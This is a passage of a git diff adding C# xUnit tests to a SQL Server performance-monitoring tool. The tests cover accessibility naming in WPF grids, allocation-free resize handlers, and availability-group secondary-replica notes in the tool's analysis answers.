+        Assert.Equal(0, mismatches);
+        /* A few watchers per realized cell and row, never one per data row. */
+        Assert.True(peak <= atTop * 2, "watchers grew from " + atTop + " to " + peak + " while scrolling 3000 rows (" + realized + " cells realized at the end)");
+        Assert.True(peak < 600, "watchers peaked at " + peak);
+    }
+
+    [Fact]
+    public void ATemplatedCellWithNothingVisible_IsNamedBlank_AndKeepsItsRealContent()
+    {
+        var (blank, filled, withBox, withText) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var box = new DataTemplate { VisualTree = new FrameworkElementFactory(typeof(CheckBox)) };
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    TextColumn("Time", "Time"),
+                    new DataGridTemplateColumn { Header = "Retries", CellTemplate = TextTemplate("Retries") },
+                    new DataGridTemplateColumn { Header = "Done", CellTemplate = box },
+                },
+                new[] { new JobRow { Time = "06:01:12" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var cells = Descendants(grid).OfType<DataGridCell>().ToList();
+            var retries = cells.First(c => c.Column.Header as string == "Retries");
+            var done = cells.First(c => c.Column.Header as string == "Done");
+            var time = cells.First(c => c.Column.Header as string == "Time");
+            var first = AutomationProperties.GetName(retries);
+            var boxName = AutomationProperties.GetName(done);
+            var timeName = AutomationProperties.GetName(time);
+            var text = Descendants(retries).OfType<TextBlock>().First();
+            text.Text = "3";
+            var second = AutomationProperties.GetName(retries);
+            window.Close();
+            return (first, second, boxName, timeName);
+        });
+
+        Assert.Equal("Retries: blank", blank);
+        Assert.Equal("", filled);
+        Assert.Equal("", withBox);
+        Assert.Equal("", withText);
+    }
+
+    [Fact]
+    public void AfterTheFirstLook_TheSizeChangedHandlers_DoNoAllocationAndAddNoWatchers()
+    {
+        var (bytes, before, after) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var tabs = new TabControl();
+            tabs.Items.Add(new TabItem { Header = new StackPanel { Children = { new TextBlock { Text = "example-sql-01" } } }, Content = new TextBlock() });
+            tabs.Items.Add(new TabItem { Header = new StackPanel(), Content = new TextBlock() });
+            var panelHeader = new StackPanel { Orientation = Orientation.Horizontal };
+            panelHeader.Children.Add(new TextBlock { Text = "Time" });
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    new DataGridTextColumn { Header = panelHeader, Binding = new Binding("Time") },
+                    new DataGridTextColumn { Header = new StackPanel(), Binding = new Binding("Retries") },
+                    TextColumn("Server", "Server"),
+                },
+                new[] { new JobRow { Time = "06:01:12", Server = "example-sql-01", Retries = "" } });
+            var host = new StackPanel();
+            host.Children.Add(tabs);
+            host.Children.Add(grid);
+            var window = new Window { Content = host, Width = 500, Height = 400 };
+            Settle(window);
+
+            var elements = Descendants(host).Where(d => d is TabItem or System.Windows.Controls.Primitives.DataGridColumnHeader or DataGridRow or DataGridCell).Cast<FrameworkElement>().ToList();
+            Assert.True(elements.Count >= 9, "found " + elements.Count + " elements");
+            var args = new RoutedEventArgs(FrameworkElement.SizeChangedEvent);
+            RoutedEventHandler[] handlers =
+            {
+                AccessibleNames.OnCellSized, AccessibleNames.OnRowSized, AccessibleNames.OnColumnHeaderSized, AccessibleNames.OnTabItemSized,
+            };
+
+            foreach (var element in elements)
+            {
+                foreach (var handler in handlers)
+                {
+                    handler(element, args);
+                }
+            }
+
+            var watchersBefore = AccessibleNames.WatcherCount;
+
+            /* A handler that allocates per call allocates in EVERY window below; a one-off cost the runtime pays on this thread
+               (the JIT moving a handler to its optimised code, a type or static first reached on the CI machine) lands in one
+               window at most. CI saw 23704 bytes once over 640,000 calls, which is the second kind, so the proof is the
+               smallest window: a real per-call allocation can never make it zero. */
+            long Window(int passes)
+            {
+                var allocatedBefore = GC.GetAllocatedBytesForCurrentThread();
+
+                for (var i = 0; i < passes; i++)
+                {
+                    foreach (var element in elements)
+                    {
+                        foreach (var handler in handlers)
+                        {
+                            handler(element, args);
+                        }
+                    }
+                }
+
+                return GC.GetAllocatedBytesForCurrentThread() - allocatedBefore;
+            }
+
+            Window(500);
+            var allocated = long.MaxValue;
+
+            for (var w = 0; w < 5; w++)
+            {
+                allocated = Math.Min(allocated, Window(400));
+            }
+
+            var watchersAfter = AccessibleNames.WatcherCount;
+            window.Close();
+            return (allocated, watchersBefore, watchersAfter);
+        });
+
+        Assert.Equal(0, bytes);
+        Assert.Equal(before, after);
+    }
+}
diff --git a/Lite.Tests/SecondOccurrenceReadTests.cs b/Lite.Tests/SecondOccurrenceReadTests.cs
index 3fd9b888f2..0cbff9a8f3 100644
--- a/Lite.Tests/SecondOccurrenceReadTests.cs
+++ b/Lite.Tests/SecondOccurrenceReadTests.cs
@@ -103,7 +103,7 @@ public async Task ASlicerAt0630Z_ReadsFrom0630Z()
     /// needs a row here.
     /// </summary>
     [Theory]
-    [InlineData("private async void OnBlockingSlicerChanged(", "GetRecentBlockedProcessReportsAsync(_serverId, 0, e.StartUtc, e.EndUtc,")]
+    [InlineData("private async void OnBlockingSlicerChanged(", "ReadRecentBlockedProcessReportsAsync(_serverId, 0, e.StartUtc, e.EndUtc,")]
     [InlineData("private async void OnDeadlockSlicerChanged(", "GetRecentDeadlocksAsync(_serverId, 0, e.StartUtc, e.EndUtc)")]
     [InlineData("private async void OnActiveQueriesSlicerChanged(", "GetLatestQuerySnapshotsAsync(_serverId, 0, e.StartUtc, e.EndUtc,")]
     [InlineData("private async void OnQueryStatsSlicerChanged(", "GetTopQueriesByCpuAsync(_serverId, 0, 50, e.StartUtc, e.EndUtc,")]
diff --git a/Lite.Tests/SecondaryReplicaMcpAnalysisTests.cs b/Lite.Tests/SecondaryReplicaMcpAnalysisTests.cs
new file mode 100644
index 0000000000..47172c3ddc
--- /dev/null
+++ b/Lite.Tests/SecondaryReplicaMcpAnalysisTests.cs
@@ -0,0 +1,231 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Analysis;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5558 round 1 (M4): <c>analyze_server</c> and <c>compare_analysis</c> carry the same one-sentence note as
+/// <c>get_analysis_findings</c>, under the same field name (<c>secondary_replica_note</c>), always present and null when this
+/// node holds no secondary copy. Without it a short or empty answer on a secondary node reads as a clean bill of health for
+/// databases the pass never looked at. Also pins the note on the service (<see cref="AnalysisService.LastSecondaryReplicaNote"/>)
+/// and the cancelled-pass contract (M2): resolving the secondary set sits inside the pass's own try.
+/// </summary>
+public sealed class SecondaryReplicaMcpAnalysisTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly ServerManager _serverManager;
+    private readonly int _serverId;
+    private long _nextId = -55_820_000;
+    private DuckDBConnection? _seedConn;
+
+    public SecondaryReplicaMcpAnalysisTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+
+        _tempDir = Path.Combine(Path.GetTempPath(), "SecondaryReplicaMcpTests_" + Guid.NewGuid().ToString("N")[..8]);
+        var configDir = Path.Combine(_tempDir, "config");
+        Directory.CreateDirectory(configDir);
+
+        /* Windows auth so AddServer never touches the credential store. */
+        _serverManager = new ServerManager(configDir);
+        var server = new ServerConnection { ServerName = "TestServer", DisplayName = "TestServer" };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private AnalysisService CreateService() => new(_duckDb) { MinimumDataHours = 0 };
+
+    private async Task<DuckDBConnection> SeedConnectionAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+        return _seedConn;
+    }
+
+    private async Task ExecAsync(string sql, params object[] values)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var conn = await SeedConnectionAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var v in values) cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>One group, this node local with <paramref name="localRole"/>, one database (SecDb) in it.</summary>
+    private async Task SeedAgAsync(DateTime at, string localRole)
+    {
+        await ExecAsync("INSERT INTO ag_replica_states (collection_id, collection_time, server_id, server_name, ag_name, replica_server_name, role_desc, is_local) VALUES ($1,$2,$3,'n',$4,$5,$6,$7)",
+            _nextId--, at, _serverId, "AG1", "NODE1", localRole, true);
+        await ExecAsync("INSERT INTO ag_database_replica_states (collection_id, collection_time, server_id, server_name, ag_name, database_name, replica_server_name, is_local) VALUES ($1,$2,$3,'n',$4,$5,$6,$7)",
+            _nextId--, at, _serverId, "AG1", "SecDb", "NODE1", true);
+    }
+
+    private Task PlantWaitAsync(DateTime at, long deltaWaitMs) => ExecAsync(@"
+INSERT INTO wait_stats
+    (collection_id, collection_time, server_id, server_name, wait_type,
+     waiting_tasks_count, wait_time_ms, signal_wait_time_ms,
+     delta_waiting_tasks, delta_wait_time_ms, delta_signal_wait_time_ms)
+VALUES ($1, $2, $3, 'TestServer', 'AN5558_LITE_WAIT', 5000, $4, 0, 5000, $4, 0)", _nextId--, at, _serverId, deltaWaitMs);
+
+    /// <summary>The note from wherever the answer's shape puts it: the root of a data-bearing answer, or the hints of a miss.</summary>
+    private static string? NoteOf(string json, string field = "secondary_replica_note")
+    {
+        using var doc = JsonDocument.Parse(json);
+        var root = doc.RootElement;
+        var carrier = root.TryGetProperty(field, out _) ? root : root.GetProperty("hints");
+        var note = carrier.GetProperty(field);
+        return note.ValueKind == JsonValueKind.Null ? null : note.GetString();
+    }
+
+    [Fact]
+    public async Task AnalyzeServer_CarriesTheNote_OnlyWhenThisNodeHoldsASecondaryCopy()
+    {
+        var service = CreateService();
+
+        /* No AG rows: the field is there and null. */
+        Assert.Null(NoteOf(await McpAnalysisTools.AnalyzeServer(service, _serverManager, null, 4)));
+        Assert.Null(service.LastSecondaryReplicaNote);
+
+        /* A secondary copy: the same sentence the tabs and get_analysis_findings carry, on the answer AND on the service. */
+        await SeedAgAsync(DateTime.UtcNow.AddMinutes(-1), "SECONDARY");
+        var answer = await McpAnalysisTools.AnalyzeServer(service, _serverManager, null, 4);
+        Assert.Equal(AgReplicaScope.SkippedNote(1), NoteOf(answer));
+        Assert.Equal(AgReplicaScope.SkippedNote(1), service.LastSecondaryReplicaNote);
+
+        /* An all-clear or unavailable message says it in prose too, not only in the field. */
+        using var doc = JsonDocument.Parse(answer);
+        if (doc.RootElement.TryGetProperty("message", out var message) && doc.RootElement.GetProperty("status").GetString() == "empty")
+            Assert.Contains(AgReplicaScope.SkippedNote(1)!, message.GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AnalyzeServer_OnAPrimary_CarriesANullNote()
+    {
+        await SeedAgAsync(DateTime.UtcNow.AddMinutes(-1), "PRIMARY");
+        var service = CreateService();
+        Assert.Null(NoteOf(await McpAnalysisTools.AnalyzeServer(service, _serverManager, null, 4)));
+        Assert.Null(service.LastSecondaryReplicaNote);
+    }
+
+    /// <summary>
+    /// #5558 round 2: <c>get_analysis_facts</c> returns facts the secondary filter already trimmed, so it carries the same
+    /// field, always present and null when nothing was left to the primary, in every envelope it can answer with (no facts,
+    /// facts without an observed window, the facts payload).
+    /// </summary>
+    [Fact]
+    public async Task GetAnalysisFacts_CarriesTheNote_OnlyWhenThisNodeHoldsASecondaryCopy()
+    {
+        var service = CreateService();
+
+        /* Nothing collected, no AG rows: an unavailable answer, the field there and null. */
+        Assert.Null(NoteOf(await McpAnalysisTools.GetAnalysisFacts(service, _serverManager, null, 4)));
+
+        /* A secondary copy, still nothing collected: the sentence is in the field and in the prose. */
+        await SeedAgAsync(DateTime.UtcNow.AddMinutes(-1), "SECONDARY");
+        var bare = await McpAnalysisTools.GetAnalysisFacts(service, _serverManager, null, 4);
+        Assert.Equal(AgReplicaScope.SkippedNote(1), NoteOf(bare));
+        using (var bareDoc = JsonDocument.Parse(bare))
+            Assert.Contains(AgReplicaScope.SkippedNote(1)!, bareDoc.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+        /* Facts in the window: the facts payload carries it at the root. */
+        for (var m = 5; m <= 55; m += 10) await PlantWaitAsync(DateTime.UtcNow.AddMinutes(-m), 150_000L);
+        var withFacts = await McpAnalysisTools.GetAnalysisFacts(service, _serverManager, null, 4);
+        using (var factsDoc = JsonDocument.Parse(withFacts))
+        {
+            Assert.True(factsDoc.RootElement.TryGetProperty("facts", out _), "expected the facts payload, got: " + withFacts[..Math.Min(withFacts.Length, 200)]);
+            Assert.Equal(AgReplicaScope.SkippedNote(1), factsDoc.RootElement.GetProperty("secondary_replica_note").GetString());
+        }
+    }
+
+    [Fact]
+    public async Task GetAnalysisFacts_OnAPrimary_CarriesANullNote()
+    {
+        await SeedAgAsync(DateTime.UtcNow.AddMinutes(-1), "PRIMARY");
+        for (var m = 5; m <= 55; m += 10) await PlantWaitAsync(DateTime.UtcNow.AddMinutes(-m), 150_000L);
+        Assert.Null(NoteOf(await McpAnalysisTools.GetAnalysisFacts(CreateService(), _serverManager, null, 4)));
+    }
+
+    [Fact]
+    public async Task CompareAnalysis_CarriesOneNotePerWindow_EachFromItsOwnRole()
+    {
+        var now = DateTime.UtcNow;
+        var baselineEnd = now.AddHours(-24);
+
+        /* The baseline window ended while this node was a secondary; the comparison window ends after a failover to
+           primary. Facts in both windows keep the answer data-bearing. */
+        await SeedAgAsync(baselineEnd.AddMinutes(-1), "SECONDARY");
+        await SeedAgAsync(now.AddMinutes(-1), "PRIMARY");
+        await PlantWaitAsync(baselineEnd.AddHours(-1), 500_000L);
+        await PlantWaitAsync(now.AddHours(-1), 900_000L);
+
+        var answer = await McpAnalysisTools.CompareAnalysis(CreateService(), _serverManager, null, 4, 28);
+
+        using var doc = JsonDocument.Parse(answer);
+        var root = doc.RootElement;
+        var (baseline, comparison) = root.TryGetProperty("baseline", out var b)
+            ? (b.GetProperty("secondary_replica_note"), root.GetProperty("comparison").GetProperty("secondary_replica_note"))
+            : (root.GetProperty("hints").GetProperty("baseline_secondary_replica_note"), root.GetProperty("hints").GetProperty("comparison_secondary_replica_note"));
+        Assert.Equal(AgReplicaScope.SkippedNote(1), baseline.GetString());
+        Assert.Equal(JsonValueKind.Null, comparison.ValueKind);
+    }
+
+    [Fact]
+    public async Task AnalyzeAsync_WithACancelledToken_AbandonsInsteadOfThrowing()
+    {
+        await SeedAgAsync(DateTime.UtcNow.AddMinutes(-1), "SECONDARY");
+        var service = CreateService();
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+
+        var now = DateTime.UtcNow;
+        var context = new AnalysisContext
+        {
+            ServerId = _serverId,
+            ServerName = "TestServer",
+            TimeRangeStart = now.AddHours(-4),
+            TimeRangeEnd = now,
+            CancellationToken = cts.Token
+        };
+
+        /* The set is resolved inside the pass's try, so the abandonment takes the #2412/#2443 path: an empty list, no
+           exception, the guard released, and nothing stamped as a finished pass. */
+        var findings = await service.AnalyzeAsync(context);
+
+        Assert.Empty(findings);
+        Assert.False(service.IsAnalyzing);
+        Assert.Null(service.LastAnalysisTime);
+    }
+}
diff --git a/Lite.Tests/SecondaryReplicaScopeTests.cs b/Lite.Tests/SecondaryReplicaScopeTests.cs
new file mode 100644
index 0000000000..eb5ac8b08a
--- /dev/null
+++ b/Lite.Tests/SecondaryReplicaScopeTests.cs
@@ -0,0 +1,531 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Analysis;
+using PerformanceMonitorLite.Database;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5558: the pure rule that names the databases this node holds only as a secondary copy. Every fail-open case
+/// is pinned: skipping a database wrongly hides a finding, so anything unknown skips nothing.
+/// </summary>
+[Trait("Reads", "Darling")]
+public sealed class AgReplicaScopeTests
+{
+    private static readonly DateTime End = new(2026, 10, 8, 12, 0, 0, DateTimeKind.Utc);
+
+    private static AgReplicaReading Replica(string ag, string role, bool? local = true, string server = "NODE1") =>
+        new(ag, server, role, "CONNECTED", local);
+
+    private static AgDatabaseMembership Db(string ag, string db, bool? local = true) => new(ag, db, local);
+
+    [Fact]
+    public void ThePrimary_SkipsNothing()
+    {
+        var set = AgReplicaScope.SecondaryDatabases([Replica("AG1", "PRIMARY")], [Db("AG1", "Sales")]);
+        Assert.Empty(set);
+    }
+
+    [Fact]
+    public void TheSecondary_SkipsItsDatabases_AndOnlyTheLocalRows()
+    {
+        var set = AgReplicaScope.SecondaryDatabases(
+            [Replica("AG1", "SECONDARY"), Replica("AG1", "PRIMARY", local: false, server: "NODE2")],
+            [Db("AG1", "Sales"), Db("AG1", "Orders"), Db("AG1", "RemoteOnly", local: false)]);
+        Assert.Equal(["Orders", "Sales"], set.OrderBy(n => n).ToArray());
+    }
+
+    [Fact]
+    public void TwoGroupsWithDifferentPrimaries_AreJudgedPerGroup()
+    {
+        var set = AgReplicaScope.SecondaryDatabases(
+            [Replica("AG1", "PRIMARY"), Replica("AG2", "SECONDARY")],
+            [Db("AG1", "OnPrimary"), Db("AG2", "OnSecondary")]);
+        Assert.Equal(["OnSecondary"], set.ToArray());
+    }
+
+    [Theory]
+    [InlineData("RESOLVING")]
+    [InlineData("")]
+    [InlineData(null)]
+    [InlineData("UNKNOWN")]
+    public void ARoleThatIsNotExplicitlySecondary_SkipsNothing(string? role)
+    {
+        Assert.Empty(AgReplicaScope.SecondaryDatabases([Replica("AG1", role!)], [Db("AG1", "Sales")]));
+    }
+
+    [Fact]
+    public void ANullIsLocal_OnEitherGrain_SkipsNothing()
+    {
+        Assert.Empty(AgReplicaScope.SecondaryDatabases([Replica("AG1", "SECONDARY", local: null)], [Db("AG1", "Sales")]));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases([Replica("AG1", "SECONDARY")], [Db("AG1", "Sales", local: null)]));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases([Replica("AG1", "SECONDARY", local: false)], [Db("AG1", "Sales")]));
+    }
+
+    [Fact]
+    public void NoRows_OrAStandaloneDatabase_SkipsNothing()
+    {
+        Assert.Empty(AgReplicaScope.SecondaryDatabases(null, null));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases([], []));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases([Replica("AG1", "SECONDARY")], []));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases([], [Db("AG1", "Sales")]));
+        /* A database in a group the replica snapshot does not know about. */
+        Assert.Empty(AgReplicaScope.SecondaryDatabases([Replica("AG1", "SECONDARY")], [Db("AG9", "Sales")]));
+    }
+
+    [Fact]
+    public void RoleCaseDoesNotMatter_ButDatabaseNamesAreKeptExactly()
+    {
+        /* #5558 round 2: the snapshot's database_name is sys.databases.name, the same catalog the replicated facts'
+           names come from, so the casing is identical on both sides and the match is ordinal. On a case-sensitive
+           server collation a secondary SalesDb and a separate salesdb are two databases. */
+        var set = AgReplicaScope.SecondaryDatabases([Replica("ag1", "secondary")], [Db("AG1", "SalesDb")]);
+        Assert.Contains("SalesDb", set);
+        Assert.DoesNotContain("salesdb", set);
+        Assert.True(AgReplicaScope.IsSkipped(set, "SalesDb"));
+        Assert.False(AgReplicaScope.IsSkipped(set, "salesdb"));
+        Assert.Equal(["salesdb"], AgReplicaScope.WithoutSecondaries(["SalesDb", "salesdb"], set));
+    }
+
+    [Fact]
+    public void TwoLocalRowsThatDisagree_AreATornSnapshot_AndSkipNothing()
+    {
+        Assert.Empty(AgReplicaScope.SecondaryDatabases(
+            [Replica("AG1", "SECONDARY"), Replica("AG1", "PRIMARY")], [Db("AG1", "Sales")]));
+    }
+
+    [Fact]
+    public void AStaleOrMissingSnapshot_SkipsNothing_AndAFutureOneIsNotUsed()
+    {
+        var replicas = new[] { Replica("AG1", "SECONDARY") };
+        var databases = new[] { Db("AG1", "Sales") };
+
+        Assert.Single(AgReplicaScope.SecondaryDatabases(replicas, End.AddMinutes(-1), databases, End.AddMinutes(-2), End));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases(replicas, End.AddHours(-2), databases, End.AddMinutes(-1), End));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases(replicas, End.AddMinutes(-1), databases, End.AddHours(-2), End));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases(replicas, null, databases, End.AddMinutes(-1), End));
+        Assert.Empty(AgReplicaScope.SecondaryDatabases(replicas, End.AddMinutes(-1), databases, End.AddMinutes(1), End));
+    }
+
+    [Fact]
+    public void TheNote_IsOneSentence_ForOneAndMany_AndNullForNone()
+    {
+        Assert.Null(AgReplicaScope.SkippedNote(0));
+        Assert.Contains("1 database skipped", AgReplicaScope.SkippedNote(1));
+        var many = AgReplicaScope.SkippedNote(3);
+        Assert.StartsWith("3 databases skipped: this server holds a secondary copy of them in an availability group.", many);
+        Assert.EndsWith("Check the primary replica for their findings.", many);
+    }
+}
+
+/// <summary>#5558: the table that classifies facts, and the census that keeps it complete.</summary>
+[Trait("Reads", "Darling")]
+public sealed class FactReplicaScopeCoverageTests
+{
+    [Theory]
+    [InlineData("DB_CONFIG")]
+    [InlineData("DB_CONFIG_RCSI")]
+    [InlineData("FILE_AUTOGROWTH_PERCENT")]
+    [InlineData("PLAN_REGRESSION")]
+    [InlineData("ANOMALY_OBJECT_GROWTH")]
+    public void TheReplicatedFacts_AreFiltered(string key) => Assert.Equal(FactReplicaKind.Replicated, FactReplicaScope.Of(key));
+
+    [Theory]
+    [InlineData("MISSING_INDEX")]
+    [InlineData("PLAN_WARNING")]
+    [InlineData("BAD_ACTOR_0xF00D")]
+    [InlineData("PARAMETER_SENSITIVITY")]
+    [InlineData("QUERY_SPILLS")]
+    [InlineData("QUERY_HIGH_DOP")]
+    [InlineData("PROCEDURE_STATS")]
+    [InlineData("IO_READ_LATENCY_MS")]
+    [InlineData("DATABASE_TOTAL_SIZE_MB")]
+    [InlineData("DISK_SPACE")]
+    [InlineData("TEMPDB_USAGE")]
+    [InlineData("DEADLOCKS")]
+    [InlineData("ANOMALY_OBJECT_CONTENTION")]
+    [InlineData("CONFIG_MAXDOP")]
+    [InlineData("CXPACKET")]
+    public void TheNodeLocalFacts_AreKept(string key) => Assert.Equal(FactReplicaKind.NodeLocal, FactReplicaScope.Of(key));
+
+    [Fact]
+    public void AReplicatedKey_YieldsNames_OnlyWhenTheContextHasASecondarySet()
+    {
+        var empty = new AnalysisContext();
+        Assert.Empty(FactReplicaScope.SecondariesFor(empty, "DB_CONFIG"));
+
+        var context = new AnalysisContext { SecondaryReplicaDatabases = new HashSet<string>(StringComparer.Ordinal) { "SecDb" } };
+        Assert.Equal(["SecDb"], FactReplicaScope.SecondariesFor(context, "DB_CONFIG"));
+        Assert.Empty(FactReplicaScope.SecondariesFor(context, "MISSING_INDEX"));
+    }
+
+    /// <summary>Every fact key a collector writes as a literal must be in the table, so a new fact is classified on
+    /// purpose. Both products' collectors are scanned: Darling's port emits the same keys as Lite's.</summary>
+    [Fact]
+    public void EveryLiteralFactKeyTheCollectorsEmit_IsInTheTable()
+    {
+        var root = FindRepoRoot();
+        var sources = new List<string>();
+        sources.AddRange(Directory.GetFiles(Path.Combine(root, "Lite", "Analysis"), "*.cs"));
+        var darling = Path.Combine(root, "Darling", "PerformanceMonitor.Darling.Analysis");
+        sources.AddRange(Directory.GetFiles(darling, "PgFactCollector*.cs"));
+        sources.Add(Path.Combine(darling, "PgAnomalyDetector.cs"));
+
+        var emitted = new SortedSet<string>(StringComparer.Ordinal);
+        var pattern = new Regex("\\bKey = \"([A-Z][A-Z0-9_]+)\"", RegexOptions.CultureInvariant);
+        foreach (var file in sources)
+            foreach (Match m in pattern.Matches(File.ReadAllText(file)))
+                emitted.Add(m.Groups[1].Value);
+
+        Assert.NotEmpty(emitted);
+        var missing = emitted.Where(k => !FactReplicaScope.IsKnown(k)).ToArray();
+        Assert.True(missing.Length == 0, "fact keys missing from FactReplicaScope: " + string.Join(", ", missing));
+    }
+
+    private static string FindRepoRoot()
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null && !Directory.Exists(Path.Combine(dir.FullName, "Lite", "Analysis"))) dir = dir.Parent;
+        return dir?.FullName ?? throw new InvalidOperationException("repo root not found");
+    }
+}
+
+/// <summary>
+/// #5558 on a seeded DuckDB store: the replicated facts drop the database this node holds as a secondary copy and
+/// the node-local ones keep it. Three databases: <c>SecDb</c> (local secondary), <c>PrimDb</c> (local primary of a
+/// second group) and <c>StandDb</c> (not in a group).
+/// </summary>
+[Trait("Reads", "Darling")]
+public sealed class SecondaryReplicaFactTests : IClassFixture<SharedDuckDbFixture>
+{
+    private const int ServerId = -558_001;
+    private static long s_id = -55_800_000;
+
+    private readonly DuckDbInitializer _duckDb;
+
+    public SecondaryReplicaFactTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    private static DateTime Now() => LatestValueSeed.TruncateToSeconds(DateTime.UtcNow);
+
+    private async Task SeedAsync(Func<DuckDBConnection, Task> seed)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        await seed(connection);
+    }
+
+    private static async Task ExecAsync(DuckDBConnection connection, string sql, params object[] values)
+    {
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var v in values) cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    private static async Task SeedAgAsync(DuckDBConnection c, DateTime at, string secondaryRole = "SECONDARY")
+    {
+        const string Replica = "INSERT INTO ag_replica_states (collection_id, collection_time, server_id, server_name, ag_name, replica_server_name, role_desc, is_local) VALUES ($1,$2,$3,'n',$4,$5,$6,$7)";
+        await ExecAsync(c, Replica, Interlocked.Decrement(ref s_id), at, ServerId, "AG1", "NODE1", secondaryRole, true);
+        await ExecAsync(c, Replica, Interlocked.Decrement(ref s_id), at, ServerId, "AG1", "NODE2", "PRIMARY", false);
+        await ExecAsync(c, Replica, Interlocked.Decrement(ref s_id), at, ServerId, "AG2", "NODE1", "PRIMARY", true);
+        const string Db = "INSERT INTO ag_database_replica_states (collection_id, collection_time, server_id, server_name, ag_name, database_name, replica_server_name, is_local) VALUES ($1,$2,$3,'n',$4,$5,$6,$7)";
+        await ExecAsync(c, Db, Interlocked.Decrement(ref s_id), at, ServerId, "AG1", "SecDb", "NODE1", true);
+        await ExecAsync(c, Db, Interlocked.Decrement(ref s_id), at, ServerId, "AG1", "SecDb", "NODE2", false);
+        await ExecAsync(c, Db, Interlocked.Decrement(ref s_id), at, ServerId, "AG2", "PrimDb", "NODE1", true);
+    }
+
+    private static async Task SeedDatabasesAsync(DuckDBConnection c, DateTime end)
+    {
+        foreach (var db in new[] { "SecDb", "PrimDb", "StandDb" })
+        {
+            await LatestValueSeed.InsertDatabaseConfigAsync(c, ServerId, end.AddDays(-1), db, autoShrink: true, rcsiOn: false);
+            await LatestValueSeed.InsertSizeAsync(c, ServerId, end.AddMinutes(-30), db, 1, "ROWS", db + "_data", 20_480, true, "D:\\", 1_000_000, 500_000);
+            await LatestValueSeed.InsertFileIoAsync(c, ServerId, end.AddMinutes(-5), db, db + "_data", 1000);
+        }
+    }
+
+    private static AnalysisContext Context(DateTime end) => new()
+    {
+        ServerId = ServerId,
+        ServerName = "ag-scope",
+        TimeRangeStart = end.AddHours(-4),
+        TimeRangeEnd = end,
+    };
+
+    private async Task<(Dictionary<string, Fact> Facts, AnalysisContext Context)> FactsAsync(DateTime end)
+    {
+        var context = Context(end);
+        await SecondaryReplicaScope.EnsureAsync(_duckDb, context);
+        var facts = (await new DuckDbFactCollector(_duckDb).CollectFactsAsync(context)).ToDictionary(f => f.Key);
+        return (facts, context);
+    }
+
+    [Fact]
+    public async Task OnASecondary_DbConfigAndAutogrowthDropTheSecondaryDatabase_AndNodeLocalFactsKeepIt()
+    {
+        var end = Now();
+        await SeedAsync(async c => { await SeedDatabasesAsync(c, end); await SeedAgAsync(c, end.AddMinutes(-1)); });
+
+        var (facts, context) = await FactsAsync(end);
+
+        Assert.Equal(["SecDb"], context.SecondaryReplicaDatabases!.ToArray());
+        var config = facts["DB_CONFIG"];
+        Assert.Equal(2, config.Metadata["database_count"]);
+        Assert.Equal(2, config.Metadata["auto_shrink_on_count"]);
+        Assert.Equal(2, config.Metadata["rcsi_off_count"]);
+
+        var autogrowth = facts["FILE_AUTOGROWTH_PERCENT"];
+        Assert.Equal(2, autogrowth.Value);
